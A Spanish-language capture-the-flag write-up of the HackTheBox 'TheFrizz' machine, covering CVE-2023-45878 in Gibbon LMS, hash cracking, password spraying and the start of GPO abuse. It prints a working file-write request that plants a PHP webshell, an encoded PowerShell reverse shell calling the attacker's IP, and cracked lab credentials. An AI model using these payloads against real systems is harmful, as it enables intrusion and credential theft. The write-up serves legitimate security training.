Habilidades: CVE-2023-45878 - Unauthenticated Arbitrary File Write in Gibbon LMS 25.0.1
, MySQL Database Enumeration, Hash Cracking - SHA256($salt.$pass)
, Kerberos Client Setup, Credentials Leakage, Abusing GPOs (Group Policy Objects) - SharpGPOAbuse.exe
Introducción
TheFrizz es una máquina Windows de dificultad Medium
en HackTheBox. En este escenario debemos comprometer un dominio de Active Directory, ganando acceso inicial explotando CVE-2023-45878 en el servicio Gibbon, obteniendo credenciales a través del descifrado de SHA256
en un formato personalizado. Permisos a nivel de GPOs (Group Policy Objects) nos permitirán obtener acceso privilegiado y vencer TheFrizz.
Reconocimiento
Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa
ping -c1 10.10.11.60
PING 10.10.11.60 (10.10.11.60) 56(84) bytes of data.
64 bytes from 10.10.11.60: icmp_seq=1 ttl=127 time=166 ms
--- 10.10.11.60 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 166.112/166.112/166.112/0.000 ms
Nmap Scanning
Lanzaremos un escaneo que únicamente descubra puertos abiertos en la máquina víctima, por ahora usaremos el protocolo TCP
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.60 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-19 21:57 EDT
Nmap scan report for 10.10.11.60
Host is up (0.31s latency).
Not shown: 65515 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
9389/tcp open adws
49664/tcp open unknown
49668/tcp open unknown
49670/tcp open unknown
62384/tcp open unknown
62388/tcp open unknown
62397/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 67.02 seconds
--open
: Mostrar únicamente los puertos abiertos-p-
: Hacer un escaneo del total de puertos (65535)--min-rate 5000
: Enviar mínimo 5000 paquetes por segundo-n
: No aplicar resolución DNS, lo que acelera el escaneo-sS
: Modo de escaneo TCP SYN, no concluye la conexión, lo que hace el escaneo más ágil-Pn
: Omitir el descubrimiento de host (ARP)-oG
: Exportar en formatogrepable
-v
: Ver el progreso del escaneo
Haremos un segundo escaneo con el propósito de identificar los servicios que se ejecutan además de su versión
nmap -p 22,53,80,88,135,139,389,445,464,593,636,3268,3269,9389,49664,49668,49670,62384,62388,62397 -sVC 10.10.11.60 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-19 22:00 EDT
Nmap scan report for 10.10.11.60
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-20 09:00:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
62384/tcp open msrpc Microsoft Windows RPC
62388/tcp open msrpc Microsoft Windows RPC
62397/tcp open msrpc Microsoft Windows RPC
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-08-20T09:01:12
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 6h59m57s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.55 seconds
-p
: Especificar puertos-sV
: Identificar la versión del servicio-sC
: Uso de scripts de reconocimiento-oN
: Exportar la salida en formato normal
Dada la gran cantidad de servicios, notaremos que estamos frente a un Controlador de Dominio de Active Directory. Vemos tanto el nombre del DC como el nombre del dominio, agregaremos estos a nuestro archivo /etc/hosts
para poder aplicar la resolución DNS correctamente
cat /etc/hosts | grep frizz.htb
10.10.11.60 frizzdc.frizz.htb frizz.htb
(Posible) RPC & SMB Enumeration
Siempre que nos encontremos en un entorno de Active Directory, debemos validar sesiones anónimas en servicios como smb
o rpc
, rápidamente podemos hacerlo con los siguientes comandos
smbclient -L 10.10.11.60 -U "" -N
session setup failed: NT_STATUS_NOT_SUPPORTED
rpcclient 10.10.11.60 -U "" -N
Cannot connect to server. Error was NT_STATUS_NOT_SUPPORTED
En ambos casos no tenemos éxito, entonces sabremos que el DC no admite sesiones anónimas, seguiremos enumerando otros servicios. Sin embargo, el error que vemos es debido a que el DC admite solamente autenticación kerberos
, y NTLM se encuentra deshabilitado
Web Analysis
Si navegamos hasta frizzdc.frizz.htb
, veremos la siguiente web que parece ser de una escuela
Vemos un botón Staff Login
que nos redirige a una web de inicio de sesión bajo la ruta http://frizzdc.frizz.htb/Gibbon-LMS
Podemos ver la versión de Gibbon dentro del footer
, corresponde a la 25.0.0
Intrusión / Explotación
CVE-2023-45878 - Unauthenticated Arbitrary File Write in Gibbon LMS 25.0.1
GibbonEdu es una plataforma educativa de código abierto diseñado para administrar procesos académicos y administrativos, está orientado a escuelas e instituciones
Las versiones anteriores a la 25.0.1
de Gibbon permiten la escritura de archivos y una posterior ejecución de código malicioso porque rubrics_visualise_saveAjax.phps
no requiere autenticación. Para obtener RCE, un atacante debe subir una imagen falsa que se almacene como un archivo PHP.
Understanding Vulnerability
Viendo el código fuente disponible en Github
, vemos que el endpoint vulnerable acepta los parámetros img
, path
, y gibbonPersonID
a través de una solicitud POST.
[...]
$img = $_POST['img'] ?? null;
$imgPath = $_POST['path'] ?? null;
$gibbonPersonID = !empty($_POST['gibbonPersonID']) ? str_pad($_POST['gibbonPersonID'], 10, '0', STR_PAD_LEFT) : null;
$absolutePath = $gibbon->session->get('absolutePath');
El servidor espera el contenido de la imagen codificadobase64
, sucedido del formato y el nombre de la imagen (por ejemplo, type/png;nombre,BASE64
)
// Decode raw image data
list($type, $img) = explode(';', $img);
list(, $img) = explode(',', $img);
$img = base64_decode($img);
Si se establece el parámetro path
, esta ruta se utiliza como directorio de destino, concatenada con la ruta del directorio de Gibbon, y el valor de img
se escribe ahí
// Write image data
$fp = fopen($absolutePath.'/'.$imgPath, 'w');
fwrite($fp, $img);
fclose($fp);
Proof of Concept
La siguiente solicitud HTTP envía una imagen maliciosa al endpoint vulnerable, el payload más una explicación técnica la podremos encontrar en el siguiente artículo
POST /modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1
...
...
...
Content-Type: application/x-www-form-urlencoded
img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=asdf.php&gibbonPersonID=0000000001
El valor de img
realmente es una webshell
típica en PHP, además de estar codificada en base64
tal como espera el servidor. Sin embargo, se añade +
codificado en URL (%2b
).
Posiblemente se intente utilizar
+
sin cerrar el código PHP como una técnica de evasión de algún filtro para conseguir ejecutar el código, ya que es posible ejecutar código PHP sin la etiqueta de cierre (?>
).
Esta técnica no es estrictamente necesaria, porque podemos perfectamente cerrar el código PHP con ?>
, y el archivo funciona correctamente
<?php echo system($_GET['cmd'])?
Exploiting
Habiendo entendido la lógica de explotación, emitiremos una solicitud HTTP maliciosa, en mi caso utilicé el siguiente payload en base64
PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKT8%2bCg
# Payload decodificado
<?php echo system($_GET["cmd"])?>
- La cadena contiene caracteres como
+
, debemos codificarlos en URL (%2b
)
Al enviar la solicitud desde Burpsuite
, veremos cómo se ejecuta correctamente, aunque debemos validar que podamos ejecutar comandos a través del nuevo archivo, en mi caso lo llamé test.php
Ahora deberíamos poder ver nuestro archivo test.php
en la ruta donde se encuentra Gibbon, usaremos el parámetro cmd
en la URL para validar ejecución de comandos
El output nos da una pista de que se está ejecutando sobre Windows por el uso de \
para indicar el nombre del usuario, propio de Windows
Shell as w.service
Ejecutaremos un comando de powershell
que nos envíe una consola a nuestra máquina por un puerto determinado. Primeramente, iniciaremos un listener para recibir dicha conexión
rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
Desde revshells.com
podemos rápidamente buscar un comando de powershell
que nos envíe una reverse shell, en mi caso he utilizado un comando en base64
, junto con codificación URL
GET /Gibbon-LMS/test.php?cmd=powershell%20-e%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AMwAwACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA%2BACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA%2BACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA%3D
Enviaremos el comando (ajustado a tu IP y puerto) a través del parámetro cmd
ya sea desde Burpsuite
o desde el navegador
Al momento de ejecutar el comando en el servidor, desde nuestro listener recibiremos una nueva conexión desde la máquina víctima
rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.15.30] from (UNKNOWN) [10.10.11.60] 55381
PS C:\xampp\htdocs\Gibbon-LMS> whoami
frizz\w.webservice
Finding Lateral Movement Path
Estamos dentro del entorno de Active Directory, ahora debemos buscar una forma de escalar nuestros privilegios. Aún no conocemos ni los usuarios ni la estructura del dominio, pero disponemos de una consola de powershell
para enumerar ya sea archivos, usuarios, etc.
Antes de lanzar un injestor
para recolectar información del dominio y subirla a BloodHound, podemos buscar archivos que puedan contener información interesante
Database Credentials
Dentro del directorio actual, encontraremos un archivo config.php
PS C:\xampp\htdocs\Gibbon-LMS> dir
Directory: C:\xampp\htdocs\Gibbon-LMS
Mode LastWriteTime Length Name
---- ------------- ------ ----
...
...
...
-a---- 1/20/2023 6:04 AM 103023 CHANGELOG.txt
-a---- 1/20/2023 6:04 AM 2972 composer.json
-a---- 1/20/2023 6:04 AM 294353 composer.lock
-a---- 10/11/2024 8:15 PM 1307 config.php
...
...
...
Si inspeccionamos su contenido con el comando type
, veremos que contiene credenciales para conectarse a una base de datos, aunque no se menciona a qué gestor
PS C:\xampp\htdocs\Gibbon-LMS> type config.php
<?php
/*
Gibbon, Flexible & Open School System
Copyright (C) 2010, Ross Parker
...
...
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
...
...
Database Enumeration - mysql
Por la facilidad para ejecutar servicios web que ejecuten PHP en Windows, el servicio Gibbon se ejecuta dentro de un entorno XAMPP
XAMPP es un paquete de software gratuito, multiplataforma y de código abierto que incluye
Apache
(servidor web),MariaDB
(base de datos),PHP
yPerl
(lenguajes de programación), usado para crear y probar sitios web en un ordenador local
Como se menciona, XAMPP
cuenta con mysql
, el cual podremos encontrar en el directorio C:\xampp\mysql
PS C:\xampp\htdocs\Gibbon-LMS> dir ..\..\
Directory: C:\xampp
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/29/2024 7:25 AM apache
d----- 10/29/2024 7:26 AM cgi-bin
d----- 10/29/2024 7:25 AM contrib
d----- 10/29/2024 7:28 AM htdocs
d----- 10/29/2024 7:25 AM licenses
d----- 10/29/2024 7:25 AM mysql
d----- 10/29/2024 7:26 AM php
d----- 10/29/2024 7:25 AM src
d----- 8/23/2025 5:57 PM tmp
Utilizaremos el ejecutable mysql.exe
para conectarnos a la base de datos con las credenciales que obtuvimos del archivo de configuración
PS C:\xampp\htdocs\Gibbon-LMS> cd C:\xampp\mysql\bin
PS C:\xampp\mysql\bin> .\mysql.exe -uMrGibbonsDB -p'MisterGibbs!Parrot!?1' gibbon -e 'show tables'
Tables_in_gibbon
gibbonaction
gibbonactivity
gibbonactivityattendance
...
...
...
Veremos muchas tablas, aunque busquemos palabras como users
, passwords
o session
, no encontraremos gran cosa. Dejaré el artículo donde el mismo fundador de Gibbon
dice dónde se guarda la información de los usuarios
Passwords (SHA1 + Salt)
Enumerando esta tabla, veremos muchas columnas, aunque podremos buscar rápidamente lo que nos interesa de la siguiente manera. La siguiente consulta muestra el nombre de las columnas que componen la contraseña
PS C:\xampp\mysql\bin> .\mysql.exe -uMrGibbonsDB -p'MisterGibbs!Parrot!?1' gibbon -e 'describe gibbonPerson' | findstr username
username varchar(20) NO UNI NULL
# Columnas para las contraseñas
PS C:\xampp\mysql\bin> .\mysql.exe -uMrGibbonsDB -p'MisterGibbs!Parrot!?1' gibbon -e 'describe gibbonPerson' | findstr password
passwordStrong varchar(255) NO NULL
passwordStrongSalt varchar(255) NO NULL
passwordForceReset enum('N','Y') NO N
Según la siguiente respuesta del fundador en el foro de Gibbon, vemos que Gibbon almacena sus contraseñas en SHA1
sumado a un salt
Este mensaje fue escrito por el fundador, pero en 2016
, por lo que ahora el algoritmo ya no es SHA1
, es SHA256
En la versión
25.0.0
(de este contexto) deGibbon
, el algoritmo utilizado esSHA256
, podemos comprobarlo desde el repositorio de Github
Esta información es clave para entender cómo podemos desencriptar contraseñas, procederemos a extraer los hashes desde la base de datos
PS C:\xampp\mysql\bin> .\mysql.exe -uMrGibbonsDB -p'MisterGibbs!Parrot!?1' gibbon -e 'SELECT username,passwordStrong,passwordStrongSalt FROM gibbonPerson'
username passwordStrong passwordStrongSalt
f.frizzle 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 /aACFhikmNopqrRTVz2489
Vemos un hash en formato SHA256
y un salt para el usuario f.frizzle
, procederemos a buscar una forma para desencriptar esta contraseña
Hash Cracking
Por el enlace anterior de Github
del código fuente, sabemos que la forma para descifrar la contraseña es cargando el salt
y luego el hash
//Check current password
if (hash('sha256', $user['passwordStrongSalt'].$password) != $user['passwordStrong']) {
header("Location: {$URL->withReturn('error3')}");
} else {
En criptografía, un salt es un conjunto de datos aleatorios que se añade a una contraseña (o frase de contraseña) antes de que se aplique una función de hashing.
Esta información es vital para descifrar la contraseña que extrajimos desde la base de datos, de lo contrario nos dará la sensación de que es “incrackeable”
Hashcat
Sabiendo de qué manera se procesa la contraseña, al intentar crackearlo con hashcat
debemos buscar el modo que usaremos
hashcat --example-hashes | grep 'sha256' -B 1
Hash mode #1420
Name................: sha256($salt.$pass)
El modo 1420
es el que debemos utilizar para que hashcat
procese la contraseña y la descifre correctamente
El formato de archivo en
hashcat
puede confundirnos, se espera que carguemos el archivo con el formato$username$hash$salt
, no está relacionado con el modo que utilizahashcat
para descifrar.
Guardaremos la información en un archivo de la siguiente manera, de lo contrario, obtendremos el error No hashes loaded.
f.frizzle:067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489
El comando que utilizaremos contiene el modo 1420
, el cual es para sha256($salt,$pass)
, además de la flag --username
hashcat -a 0 -m 1420 hashcat.txt /usr/share/wordlists/rockyou.txt -O --username
....
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489:Jenni_Luvs_Magic230
...
JohnTheRipper
with Dynamic Format
En john
, existe un formato especial que le permite entender contraseñas en un formato dinámico, donde se aplican funciones con ciertos algoritmos.
En el siguiente enlace a Github
, veremos una tabla donde podemos buscar el formato que utilizaremos para romper esta contraseña, el formato que encaja perfectamente con este requerimiento es dynamic_61
.
El formato de
JohnTheRipper
puede confundir nuestra lógica, pero se espera que carguemos el archivo con el formato$formato$hash$salt
, el cual no se relaciona con el formato que vamos a utilizar para crackear hashes.
Aclarando esta posible confusión, guardaremos el hash en un archivo de la siguiente manera
$dynamic_61$067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03$/aACFhikmNopqrRTVz2489
Procederemos a intentar crackear la contraseña empleando la flag --format=dynamic_61
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=dynamic_61
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic_61 [sha256($s.$p) 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
Jenni_Luvs_Magic23 (?)
1g 0:00:00:02 DONE (2025-08-23 15:27) 0.4761g/s 5248Kp/s 5248Kc/s 5248KC/s Jesus14jrj..Jeepers93
Use the "--show --format=dynamic_61" options to display all of the cracked passwords reliably
Session completed.
De ambas formas logramos romper la contraseña, y aunque parezca redundante, nunca está demás aprender sobre varias opciones de herramientas para una misma tarea
Shell as f.frizzle
Ahora disponemos de las siguientes credenciales: f.frizzle
: Jenni_Luvs_Magic23
, las validaremos frente al protocolo kerberos
(obligatorio) con la flag -k
ntpdate 10.10.11.60 && nxc smb FRIZZDC.frizz.htb -u f.frizzle -p 'Jenni_Luvs_Magic23' -k
2025-08-23 23:54:29.63918 (-0400) +0.009938 +/- 0.099192 10.10.11.60 s1 no-leap
SMB FRIZZDC.frizz.htb 445 FRIZZDC [*] x64 (name:FRIZZDC) (domain:frizz.htb) (signing:True) (SMBv1:False)
SMB FRIZZDC.frizz.htb 445 FRIZZDC [+] frizz.htb\f.frizzle:Jenni_Luvs_Magic23
Si consultamos rápidamente al usuario f.frizzle
, podremos notar que este usuario forma parte del grupo Remote Management Users
, esto en teoría nos permite conectarnos con una consola de powershell
PS C:\xampp\mysql\bin> net user f.frizzle
User name f.frizzle
Full Name fiona frizzle
Comment Wizard in Training
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/29/2024 7:27:03 AM
Password expires Never
Password changeable 10/29/2024 7:27:03 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 8/23/2025 10:26:22 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.
Sin embargo, el puerto 5985
no se encuentra abierto, por lo que en este caso el acceso será vía SSH
Kerberos Client Setup
Para poder utilizar el protocolo kerberos
a modo de autenticación, debemos especificar el KDC (Key Distribution Center), quien es el encargado de emitir los tickets kerberos
.
En nuestra máquina podemos usar un archivo .krb5.conf
con la configuración necesaria
[libdefaults]
default_realm = FRIZZ.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
FRIZZ.HTB = {
kdc = frizzdc.frizz.htb
admin_server = frizzdc.frizz.htb
}
[domain_realm]
frizz.htb = FRIZZ.HTB
.frizz.htb = FRIZZ.HTB
Solicitaremos un TGT (Ticket Granting Ticket
) para el usuario f.frizzle
, el cual será necesario en el acceso remoto
getTGT.py frizz.htb/f.frizzle:Jenni_Luvs_Magic23 -dc-ip FRIZZDC.frizz.htb
Impacket v0.13.0.dev0+20250109.91705.ac02e0ee - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in f.frizzle.ccache
Es posible que la línea que describe el Controlador de Dominio en nuestro archivo
/etc/hosts
deba verse de la siguiente manera, especificamos el FQDN (Fully Qualified Domain Name
) para poder autenticarnos correctamente víaSSH
10.10.11.60 frizzdc.frizz.htb frizz.htb frizzdc
Una vez ya disponemos del TGT, lo cargaremos en la variable de entorno KRB5CCNAME
y nos conectaremos por SSH
con el parámetro -K
KRB5CCNAME=f.frizzle.ccache ssh -K f.frizzle@frizzdc.frizz.htb
PowerShell 7.4.5
PS C:\Users\f.frizzle> whoami
frizz\f.frizzle
Ya podremos ver la flag del usuario sin privilegios, la cual se ubica en la carpeta Desktop
PS C:\Users\f.frizzle> type Desktop\user.txt
375048537c783045f90545f9ac74fcad
Escalada de Privilegios
System Enumeration
Nos podrá llevar bastante tiempo buscando formas de escalar privilegios, ya que BloodHound no mostrará información relevante.
Veremos una carpeta $RECYCLE.BIN
en C:\
, la cual corresponde a la papelera de reciclaje
La carpeta
$Recycle.Bin
(o Papelera de reciclaje) es una carpeta predeterminada de Windows que almacena los archivos y carpetas eliminados temporalmente, permitiendo su recuperación antes de que se borren permanentemente.
PS C:\> dir -force
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs 10/29/2024 7:31 AM $RECYCLE.BIN
d--h- 3/10/2025 3:31 PM $WinREAgent
d--hs 7/24/2025 12:36 PM Config.Msi
l--hs 10/29/2024 9:12 AM Documents and Settings -> C:\Users
d---- 3/10/2025 3:39 PM inetpub
d---- 5/8/2021 1:15 AM PerfLogs
d-r-- 7/24/2025 12:35 PM Program Files
d---- 5/8/2021 2:34 AM Program Files (x86)
d--h- 2/20/2025 2:50 PM ProgramData
d--hs 10/29/2024 9:12 AM Recovery
d--hs 10/29/2024 7:25 AM System Volume Information
d-r-- 10/29/2024 7:31 AM Users
d---- 3/10/2025 3:41 PM Windows
d---- 10/29/2024 7:28 AM xampp
-a-hs 10/29/2024 8:27 AM 12288 DumpStack.log.tmp
Dentro de la carpeta nombrada con el SID
del usuario, veremos dos archivos .7z
PS C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> dir -Force
Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 10/29/2024 7:31 AM 148 $IE2XMEG.7z
-a--- 10/24/2024 9:16 PM 30416987 $RE2XMEG.7z
Si consultamos el contenido del primero, veremos una ruta el en sistema
PS C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> type '.\$IE2XMEG.7z'
☻[ �☺▬�2*�☺<C:\Users\f.frizzle\AppData\Local\Temp\wapt-backup-sunday.7z
Si buscamos por wapt
en Google, veremos que consiste en una herramienta desarrollada por Tranquil IT
WAPT es una herramienta silenciosa de despliegue remoto de software y configuración para empresas y administraciones públicas.
Es posible que este archivo sea una copia de seguridad de la herramienta WAPT
. Si intentamos ver si este archivo existe, notaremos que no
PS C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> dir C:\Users\f.frizzle\AppData\Local\Temp\wapt-backup-sunday.7z -Force
Get-ChildItem: Cannot find path 'C:\Users\f.frizzle\AppData\Local\Temp\wapt-backup-sunday.7z' because it does not exist.
El segundo archivo comprimido tiene mucho más tamaño, por lo que es posible que éste sea el archivo que intentamos buscar
File Transfer
Para transferir el comprimido, utilizaremos el servicio web de Apache, el cual nos permitirá descargar rápidamente el contenido que alojemos allí.
Desde la consola de ssh
como el usuario f.frizzle
, copiaremos el recurso $RE2XMEG.7z
a un directorio donde cualquier usuario tenga acceso, como C:\Programdata
, además le daremos permisos completos a otros usuarios
PS C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> copy '.\$RE2XMEG.7z' C:\Programdata
PS C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> icacls 'C:\Programdata\$RE2XMEG.7z' /grant everyone:F
processed file: C:\Programdata\$RE2XMEG.7z
Successfully processed 1 files; Failed processing 0 files
Ahora necesitamos la shell como el usuario w.webservice
, para poder copiar el archivo .7z
al directorio htdocs
, el cual contiene todos los archivos que muestra la web, en este caso el contenido carga de forma predeterminada bajo la ruta /home
, podemos alojar el archivo 7z
allí
# Shell as w.webservice
PS C:\Programdata> move '.\$RE2XMEG.7z' wapt-backup-sunday.7z
PS C:\Programdata> copy .\$RE2XMEG.7z C:\xampp\htdocs\home
PS C:\xampp\htdocs\home> dir wapt-backup-sunday.7z
Directory: C:\xampp\htdocs\home
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/24/2024 9:16 PM 30416987 wapt-backup-sunday.7z
Desde nuestro navegador o el siguiente comando, podemos descargar el archivo
wget 'http://frizzdc.frizz.htb/home/wapt-backup-sunday.7z'
Credentials Leakage
Extraemos el archivo que descargamos para analizar su contenido en busca de información que nos permita continuar
7z x wapt-backup-sunday.7z
Tendremos gran cantidad de archivos para inspeccionar, sin embargo, veremos algo interesante en la carpeta conf
, incluso este artículo nos da una pista
Si inspeccionamos este archivo, veremos un campo wapt_password
, que contiene una cadena codificada
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt
[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log
Decodificaremos esta cadena desde base64
, obtendremos una credencial en texto claro
echo 'IXN1QmNpZ0BNZWhUZWQhUgo=' | base64 -d
!suBcig@MehTed!R
Password Spraying
Si hacemos passwordspray
intentando autenticarnos como todos los usuarios, notaremos que la contraseña es válida para el usuario m.schoolbus
kerbrute passwordspray -d frizz.htb --dc frizzdc.frizz.htb users.txt '!suBcig@MehTed!R'
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 08/24/25 - Ronnie Flathers @ropnop
2025/08/24 02:27:40 > Using KDC(s):
2025/08/24 02:27:40 > frizzdc.frizz.htb:88
2025/08/24 02:27:42 > [+] VALID LOGIN: M.SchoolBus@frizz.htb:!suBcig@MehTed!R
Shell as m.schoolbus
Para conectarnos al dominio, primero solicitaremos un ticket kerberos
para el usuario m.schoolbus
getTGT.py frizz.htb/m.schoolbus:'!suBcig@MehTed!R' -dc-ip frizzdc.frizz.htb
Impacket v0.13.0.dev0+20250109.91705.ac02e0ee - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in m.schoolbus.ccache
Ahora al igual que con el usuario f.frizzle
, usaremos el ticket para conectarnos vía SSH
KRB5CCNAME=m.schoolbus.ccache ssh -k m.schoolbus@frizzdc.frizz.htb
PowerShell 7.4.5
PS C:\Users\M.SchoolBus> whoami
frizz\m.schoolbus
Abusing GPOs (Group Policy Objects)
El abuso de directivas de grupo es una técnica de post-explotación que contempla la modificación de las políticas de grupo en Active Directory, las nuevas políticas maliciosas permitirían modificar configuraciones del sistema, manipular usuarios y/o equipos del dominio, etc.
GPO (
Group Policy Object
) es un conjunto de configuraciones que se pueden aplicar a usuarios y equipos dentro de un dominio de Active Directory. Estas configuraciones determinan el comportamiento de los usuarios y/o equipos dentro de un dominio.
Si consultamos los grupos a los que el usuario m.schoolbus
pertenece, notaremos que pertenece al grupo Group Policy Creator Owners
El grupo
Group Policy Creator Owners
en Active Directory (AD) otorga a sus miembros la capacidad de crear nuevos objetos de directiva de grupo (GPO), pero solo pueden editar o eliminar los GPO que ellos mismos hayan creado.
